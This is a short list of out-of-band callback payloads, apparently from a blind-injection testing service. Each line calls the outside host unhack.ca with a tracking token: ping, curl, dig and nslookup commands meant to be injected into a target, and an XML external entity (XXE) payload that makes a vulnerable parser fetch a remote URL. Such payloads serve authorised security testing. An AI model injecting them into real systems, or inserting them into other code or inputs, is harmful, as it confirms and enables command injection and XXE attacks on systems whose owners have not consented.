$ ping -c1 -p 008f980b0fbda0e84940161cdc112600 unhack.ca
$ curl http://unhack.ca/p/8f980b0fbda0e84940161cdc1126
$ dig 8f980b0fbda0e84940161cdc1126 @unhack.ca
$ dig 8f980b0fbda0e84940161cdc1126.ns.unhack.ca
C:\> nslookup 8f980b0fbda0e84940161cdc1126 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/8f980b0fbda0e84940161cdc1126">]> <foo>&xxe;</foo>